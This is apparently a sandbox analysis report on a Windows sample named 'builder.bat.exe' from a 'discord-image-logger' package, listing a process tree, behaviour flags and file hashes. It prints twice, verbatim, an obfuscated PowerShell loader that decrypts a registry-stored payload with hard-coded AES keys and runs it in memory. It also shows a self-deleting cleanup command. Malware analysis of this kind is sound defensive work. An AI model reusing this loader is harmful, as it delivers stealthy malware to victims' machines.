C:\Windows\$sxr-powershell.exe"C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function OONaJ($CAUyg){ $UaEuB=[System.Security.Cryptography.Aes]::Create(); $UaEuB.Mode=[System.Security.Cryptography.CipherMode]::CBC; $UaEuB.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $UaEuB.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tpmLSLfO82GY8X9Uk5Rdcs14/nfUtYA6Sn+ueOLgpTk='); $UaEuB.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MtyvC8ZzBF30QNLH3U5QaQ=='); $hVJMW=$UaEuB.('rotpyrceDetaerC'[-1..-15] -join '')(); $dSUQC=$hVJMW.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($CAUyg, 0, $CAUyg.Length); $hVJMW.Dispose(); $UaEuB.Dispose(); $dSUQC;}function XNrXq($CAUyg){ $JuLib=New-Object System.IO.MemoryStream(,$CAUyg); $yWMQI=New-Object System.IO.MemoryStream; $ovPeB=New-Object System.IO.Compression.GZipStream($JuLib, [IO.Compression.CompressionMode]::Decompress); $ovPeB.CopyTo($yWMQI); $ovPeB.Dispose(); $JuLib.Dispose(); $yWMQI.Dispose(); $yWMQI.ToArray();}function LWfQc($CAUyg,$FEAph){ $ABDeF=[System.Reflection.Assembly]::Load([byte[]]$CAUyg); $WyGRR=$ABDeF.EntryPoint; $WyGRR.Invoke($null, $FEAph);}$UaEuB1 = New-Object System.Security.Cryptography.AesManaged;$UaEuB1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$UaEuB1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$UaEuB1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tpmLSLfO82GY8X9Uk5Rdcs14/nfUtYA6Sn+ueOLgpTk=');$UaEuB1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MtyvC8ZzBF30QNLH3U5QaQ==');$PwPCN = $UaEuB1.('rotpyrceDetaerC'[-1..-15] -join '')();$GCidc = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XSkKpx7QoQiF0BsaqEtF9g==');$GCidc = $PwPCN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($GCidc, 0, $GCidc.Length);$GCidc = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($GCidc);$hbuWR = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('b2Ib4CeUG3V15LN/pc/Lrm4LCmpRZWn3AV06VFawX7o=');$hbuWR = $PwPCN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($hbuWR, 0, $hbuWR.Length);$hbuWR = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($hbuWR);$ZzVHZ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XLxMpEm8cOctcAJWUeWXmQ==');$ZzVHZ = $PwPCN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZzVHZ, 0, $ZzVHZ.Length);$ZzVHZ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZzVHZ);$zmDYn = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('x//PQ4u8mfYZiPHe2OGfrd00QBKiDvcEzPaDrYozv8uYedand6uL0wzlN+5O+AFhCoQAKBv651U3V0221QDxAvpv3KCyoJoReYXVHf6P7M/KyX5+2eOQjYEjFwTGbUjMLAybGiiaRNU03vlqAT7agKum7o1H6WfH+N764uOSYGL3HIdf7WKB0TMZlcqkVcZ4EbttcZsQjZV1vkCPbJt39bdJJTOLlHC5/EHgOLRlT+W3G+02exnNVSpXP20jdKzqezuTgmjWtvyJkL9/lFJG3FHUGehTiuT3ar2yFCKi4/OkHCw1z1DGbDJvEtWfauUaRRol3S/UgNocMBrJOXX+Aw0PMubGj40DP02/Mw4JY8R/V/7YpQkEP43UqopfbI11ciWaaIn/nKzAOZ+bXBTY5L+DxT8LfXRiRGkrI1/LwcQ=');$zmDYn = $PwPCN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zmDYn, 0, $zmDYn.Length);$zmDYn = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zmDYn);$nTpTd = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NW2EL3qe/ZOARS0s/ML1EA==');$nTpTd = $PwPCN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($nTpTd, 0, $nTpTd.Length);$nTpTd = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($nTpTd);$snbQC = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2AgSI40erquiJx027xjhrA==');$snbQC = $PwPCN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($snbQC, 0, $snbQC.Length);$snbQC = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($snbQC);$qxpKv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2iK7UtzUwrolEWaIcQUhnQ==');$qxpKv = $PwPCN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($qxpKv, 0, $qxpKv.Length);$qxpKv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($qxpKv);$AJQNv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('KrSM+woEOB3Vezss7LVo2Q==');$AJQNv = $PwPCN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($AJQNv, 0, $AJQNv.Length);$AJQNv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($AJQNv);$AfXGh = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7Wjsjcy3SC8ri3a9Bw4QkA==');$AfXGh = $PwPCN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($AfXGh, 0, $AfXGh.Length);$AfXGh = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($AfXGh);$GCidc0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zah5Ks6KFV7nxV/Lj1cbNA==');$GCidc0 = $PwPCN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($GCidc0, 0, $GCidc0.Length);$GCidc0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($GCidc0);$GCidc1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3d2GFulV4IACfF1Solw09Q==');$GCidc1 = $PwPCN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($GCidc1, 0, $GCidc1.Length);$GCidc1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($GCidc1);$GCidc2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dmoVWHHHBRJhscv9vH7d+Q==');$GCidc2 = $PwPCN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($GCidc2, 0, $GCidc2.Length);$GCidc2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($GCidc2);$GCidc3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Yy1MO8gEwf8dMKODGTzF5g==');$GCidc3 = $PwPCN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($GCidc3, 0, $GCidc3.Length);$GCidc3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($GCidc3);$PwPCN.Dispose();$UaEuB1.Dispose();if (@(get-process -ea silentlycontinue $GCidc3).count -gt 1) {exit};$UtsnC = [Microsoft.Win32.Registry]::$AJQNv.$qxpKv($GCidc).$snbQC($hbuWR);$VFMJc=[string[]]$UtsnC.Split('\');$rhtBQ=XNrXq(OONaJ([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($VFMJc[1])));LWfQc $rhtBQ (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$NvzQg = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($VFMJc[0]);$UaEuB = New-Object System.Security.Cryptography.AesManaged;$UaEuB.Mode = [System.Security.Cryptography.CipherMode]::CBC;$UaEuB.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$UaEuB.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tpmLSLfO82GY8X9Uk5Rdcs14/nfUtYA6Sn+ueOLgpTk=');$UaEuB.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MtyvC8ZzBF30QNLH3U5QaQ==');$hVJMW = $UaEuB.('rotpyrceDetaerC'[-1..-15] -join '')();$NvzQg = $hVJMW.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($NvzQg, 0, $NvzQg.Length);$hVJMW.Dispose();$UaEuB.Dispose();$JuLib = New-Object System.IO.MemoryStream(, $NvzQg);$yWMQI = New-Object System.IO.MemoryStream;$ovPeB = New-Object System.IO.Compression.GZipStream($JuLib, [IO.Compression.CompressionMode]::$GCidc1);$ovPeB.$AfXGh($yWMQI);$ovPeB.Dispose();$JuLib.Dispose();$yWMQI.Dispose();$NvzQg = $yWMQI.ToArray();$fcYPL = $zmDYn | IEX;$ABDeF = $fcYPL::$GCidc2($NvzQg);$WyGRR = $ABDeF.EntryPoint;$WyGRR.$GCidc0($null, (, [string[]] ($ZzVHZ)))4⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\$sxr-powershell.exe"C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(1576).WaitForExit();[System.Threading.Thread]::Sleep(5000); function OONaJ($CAUyg){ $UaEuB=[System.Security.Cryptography.Aes]::Create(); $UaEuB.Mode=[System.Security.Cryptography.CipherMode]::CBC; $UaEuB.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $UaEuB.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tpmLSLfO82GY8X9Uk5Rdcs14/nfUtYA6Sn+ueOLgpTk='); $UaEuB.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MtyvC8ZzBF30QNLH3U5QaQ=='); $hVJMW=$UaEuB.('rotpyrceDetaerC'[-1..-15] -join '')(); $dSUQC=$hVJMW.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($CAUyg, 0, $CAUyg.Length); $hVJMW.Dispose(); $UaEuB.Dispose(); $dSUQC;}function XNrXq($CAUyg){ $JuLib=New-Object System.IO.MemoryStream(,$CAUyg); $yWMQI=New-Object System.IO.MemoryStream; $ovPeB=New-Object System.IO.Compression.GZipStream($JuLib, [IO.Compression.CompressionMode]::Decompress); $ovPeB.CopyTo($yWMQI); $ovPeB.Dispose(); $JuLib.Dispose(); $yWMQI.Dispose(); $yWMQI.ToArray();}function LWfQc($CAUyg,$FEAph){ $ABDeF=[System.Reflection.Assembly]::Load([byte[]]$CAUyg); $WyGRR=$ABDeF.EntryPoint; $WyGRR.Invoke($null, $FEAph);}$UaEuB1 = New-Object System.Security.Cryptography.AesManaged;$UaEuB1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$UaEuB1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$UaEuB1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tpmLSLfO82GY8X9Uk5Rdcs14/nfUtYA6Sn+ueOLgpTk=');$UaEuB1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MtyvC8ZzBF30QNLH3U5QaQ==');$PwPCN = $UaEuB1.('rotpyrceDetaerC'[-1..-15] -join '')();$GCidc = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XSkKpx7QoQiF0BsaqEtF9g==');$GCidc = $PwPCN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($GCidc, 0, $GCidc.Length);$GCidc = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($GCidc);$hbuWR = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('b2Ib4CeUG3V15LN/pc/Lrm4LCmpRZWn3AV06VFawX7o=');$hbuWR = $PwPCN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($hbuWR, 0, $hbuWR.Length);$hbuWR = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($hbuWR);$ZzVHZ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XLxMpEm8cOctcAJWUeWXmQ==');$ZzVHZ = $PwPCN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZzVHZ, 0, $ZzVHZ.Length);$ZzVHZ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZzVHZ);$zmDYn = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('x//PQ4u8mfYZiPHe2OGfrd00QBKiDvcEzPaDrYozv8uYedand6uL0wzlN+5O+AFhCoQAKBv651U3V0221QDxAvpv3KCyoJoReYXVHf6P7M/KyX5+2eOQjYEjFwTGbUjMLAybGiiaRNU03vlqAT7agKum7o1H6WfH+N764uOSYGL3HIdf7WKB0TMZlcqkVcZ4EbttcZsQjZV1vkCPbJt39bdJJTOLlHC5/EHgOLRlT+W3G+02exnNVSpXP20jdKzqezuTgmjWtvyJkL9/lFJG3FHUGehTiuT3ar2yFCKi4/OkHCw1z1DGbDJvEtWfauUaRRol3S/UgNocMBrJOXX+Aw0PMubGj40DP02/Mw4JY8R/V/7YpQkEP43UqopfbI11ciWaaIn/nKzAOZ+bXBTY5L+DxT8LfXRiRGkrI1/LwcQ=');$zmDYn = $PwPCN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zmDYn, 0, $zmDYn.Length);$zmDYn = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zmDYn);$nTpTd = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NW2EL3qe/ZOARS0s/ML1EA==');$nTpTd = $PwPCN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($nTpTd, 0, $nTpTd.Length);$nTpTd = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($nTpTd);$snbQC = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2AgSI40erquiJx027xjhrA==');$snbQC = $PwPCN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($snbQC, 0, $snbQC.Length);$snbQC = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($snbQC);$qxpKv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2iK7UtzUwrolEWaIcQUhnQ==');$qxpKv = $PwPCN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($qxpKv, 0, $qxpKv.Length);$qxpKv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($qxpKv);$AJQNv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('KrSM+woEOB3Vezss7LVo2Q==');$AJQNv = $PwPCN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($AJQNv, 0, $AJQNv.Length);$AJQNv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($AJQNv);$AfXGh = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7Wjsjcy3SC8ri3a9Bw4QkA==');$AfXGh = $PwPCN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($AfXGh, 0, $AfXGh.Length);$AfXGh = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($AfXGh);$GCidc0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zah5Ks6KFV7nxV/Lj1cbNA==');$GCidc0 = $PwPCN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($GCidc0, 0, $GCidc0.Length);$GCidc0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($GCidc0);$GCidc1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3d2GFulV4IACfF1Solw09Q==');$GCidc1 = $PwPCN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($GCidc1, 0, $GCidc1.Length);$GCidc1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($GCidc1);$GCidc2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dmoVWHHHBRJhscv9vH7d+Q==');$GCidc2 = $PwPCN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($GCidc2, 0, $GCidc2.Length);$GCidc2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($GCidc2);$GCidc3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Yy1MO8gEwf8dMKODGTzF5g==');$GCidc3 = $PwPCN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($GCidc3, 0, $GCidc3.Length);$GCidc3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($GCidc3);$PwPCN.Dispose();$UaEuB1.Dispose();if (@(get-process -ea silentlycontinue $GCidc3).count -gt 1) {exit};$UtsnC = [Microsoft.Win32.Registry]::$AJQNv.$qxpKv($GCidc).$snbQC($hbuWR);$VFMJc=[string[]]$UtsnC.Split('\');$rhtBQ=XNrXq(OONaJ([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($VFMJc[1])));LWfQc $rhtBQ (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$NvzQg = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($VFMJc[0]);$UaEuB = New-Object System.Security.Cryptography.AesManaged;$UaEuB.Mode = [System.Security.Cryptography.CipherMode]::CBC;$UaEuB.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$UaEuB.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tpmLSLfO82GY8X9Uk5Rdcs14/nfUtYA6Sn+ueOLgpTk=');$UaEuB.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MtyvC8ZzBF30QNLH3U5QaQ==');$hVJMW = $UaEuB.('rotpyrceDetaerC'[-1..-15] -join '')();$NvzQg = $hVJMW.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($NvzQg, 0, $NvzQg.Length);$hVJMW.Dispose();$UaEuB.Dispose();$JuLib = New-Object System.IO.MemoryStream(, $NvzQg);$yWMQI = New-Object System.IO.MemoryStream;$ovPeB = New-Object System.IO.Compression.GZipStream($JuLib, [IO.Compression.CompressionMode]::$GCidc1);$ovPeB.$AfXGh($yWMQI);$ovPeB.Dispose();$JuLib.Dispose();$yWMQI.Dispose();$NvzQg = $yWMQI.ToArray();$fcYPL = $zmDYn | IEX;$ABDeF = $fcYPL::$GCidc2($NvzQg);$WyGRR = $ABDeF.EntryPoint;$WyGRR.$GCidc0($null, (, [string[]] ($ZzVHZ)))5⤵
- Executes dropped EXE
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C PING localhost -n 8 >NUL & taskkill /F /IM "C:\Users\Admin\AppData\Local\Temp\discord-image-logger-main\builder.bat.exe" & ATTRIB -h -s "C:\Users\Admin\AppData\Local\Temp\discord-image-logger-main\builder.bat.exe" & del /f "C:\Users\Admin\AppData\Local\Temp\discord-image-logger-main\builder.bat.exe"4⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\PING.EXEPING localhost -n 85⤵
- Runs ping.exe
-
C:\Windows\system32\taskkill.exetaskkill /F /IM "C:\Users\Admin\AppData\Local\Temp\discord-image-logger-main\builder.bat.exe"5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\attrib.exeATTRIB -h -s "C:\Users\Admin\AppData\Local\Temp\discord-image-logger-main\builder.bat.exe"5⤵
- Views/modifies file attributes
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of UnmapMainImage
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
-
C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
- Modifies registry class
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv1⤵
-
C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵
-
C:\Windows\servicing\TrustedInstaller.exeC:\Windows\servicing\TrustedInstaller.exe1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc1⤵
-
C:\Windows\System32\mousocoreworker.exeC:\Windows\System32\mousocoreworker.exe -Embedding1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\backgroundTaskHost.exe"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca1⤵
-
C:\Windows\system32\backgroundTaskHost.exe"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca1⤵
-
C:\Windows\system32\BackgroundTransferHost.exe"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.11⤵
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vjtyfs3o.0hk.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
C:\Users\Admin\AppData\Local\Temp\discord-image-logger-main\builder.bat.exeFilesize
442KB
MD504029e121a0cfa5991749937dd22a1d9
SHA1f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA2569f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
SHA5126a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
-
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance WorkFilesize
2KB
MD58abf2d6067c6f3191a015f84aa9b6efe
SHA198f2b0a5cdb13cd3d82dc17bd43741bf0b3496f7
SHA256ee18bd3259f220c41062abcbe71a421da3e910df11b9f86308a16cdc3a66fbea
SHA512c2d686a6373efcff583c1ef50c144c59addb8b9c4857ccd8565cd8be3c94b0ac0273945167eb04ebd40dfb0351e4b66cffe4c4e478fb7733714630a11f765b63
-
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance WorkFilesize
2KB
MD5f313c5b4f95605026428425586317353
SHA106be66fa06e1cffc54459c38d3d258f46669d01a
SHA256129d0b993cd3858af5b7e87fdf74d8e59e6f2110184b5c905df8f5f6f2c39d8b
SHA512b87a829c86eff1d10e1590b18a9909f05101a535e5f4cef914a4192956eb35a8bfef614c9f95d53783d77571687f3eb3c4e8ee2f24d23ad24e0976d8266b8890
-
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To WorkFilesize
2KB
MD5ceb7caa4e9c4b8d760dbf7e9e5ca44c5
SHA1a3879621f9493414d497ea6d70fbf17e283d5c08
SHA25698c054088df4957e8d6361fd2539c219bcf35f8a524aad8f5d1a95f218e990e9
SHA5121eddfbf4cb62d3c5b4755a371316304aaeabb00f01bad03fb4f925a98a2f0824f613537d86deddd648a74d694dc13ed5183e761fdc1ec92589f6fa28beb7fbff
-
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To WorkFilesize
2KB
MD57d612892b20e70250dbd00d0cdd4f09b
SHA163251cfa4e5d6cbf6fb14f6d8a7407dbe763d3f5
SHA256727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02
SHA512f8d481f3300947d49ce5ab988a9d4e3154746afccc97081cbed1135ffb24fc107203d485dda2d5d714e74e752c614d8cfd16781ea93450fe782ffae3f77066d1
-
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule WorkFilesize
2KB
MD51e8e2076314d54dd72e7ee09ff8a52ab
SHA15fd0a67671430f66237f483eef39ff599b892272
SHA25655f203d6b40a39a6beba9dd3a2cb9034284f49578009835dd4f0f8e1db6ebe2f
SHA5125b0c97284923c4619d9c00cba20ce1c6d65d1826abe664c390b04283f7a663256b4a6efe51f794cb5ec82ccea80307729addde841469da8d041cbcfd94feb0f6
-
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule WorkFilesize
2KB
MD50b990e24f1e839462c0ac35fef1d119e
SHA19e17905f8f68f9ce0a2024d57b537aa8b39c6708
SHA256a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a
SHA512c65ba42fc0a2cb0b70888beb8ca334f7d5a8eaf954a5ef7adaecbcb4ce8d61b34858dfd9560954f95f59b4d8110a79ceaa39088b6a0caf8b42ceda41b46ec4a4
-
C:\Windows\System32\ucrtbased.dllFilesize
1.8MB
MD57873612dddd9152d70d892427bc45ef0
SHA1ab9079a43a784471ca31c4f0a34b698d99334dfa
SHA256203d10b0deaea87d5687d362ba925289a13e52b5df55b9de58ba534290af27bf
SHA512d988e9ff11017465b019cf3b599ef7597d2c44fc37cbee9e846dee51990ca5dc45942cc183d9d25c1dfd84f33f922c2ceead6efc1ead19e8eecb509dfb78a083
-
C:\Windows\System32\vcruntime140_1d.dllFilesize
52KB
MD59ef28981adcbf4360de5f11b8f4ecff9
SHA1219aaa1a617b1dfa36f3928bd1020e410666134f
SHA2568caaca1bfc909fcb972ceade7be7b80b5855a4621562ee32a10c9903b616d49a
SHA512ef7f0b25fae749e6134269683f973fef37dfa1969fa4fa0567378ada073c36da4feb17b62d3282c443f4d3ba8b4aeb39063c607c848ade095880d981141adb9c
-
C:\Windows\System32\vcruntime140d.dllFilesize
162KB
MD5a366d6623c14c377c682d6b5451575e6
SHA1a8894fcfb3aa06ad073b1f581b2e749b54827971
SHA2567ed89c668d8ec04c1a0a73f35702b8e0d9819e13e6e7c51c4ac0e0abda6683e6
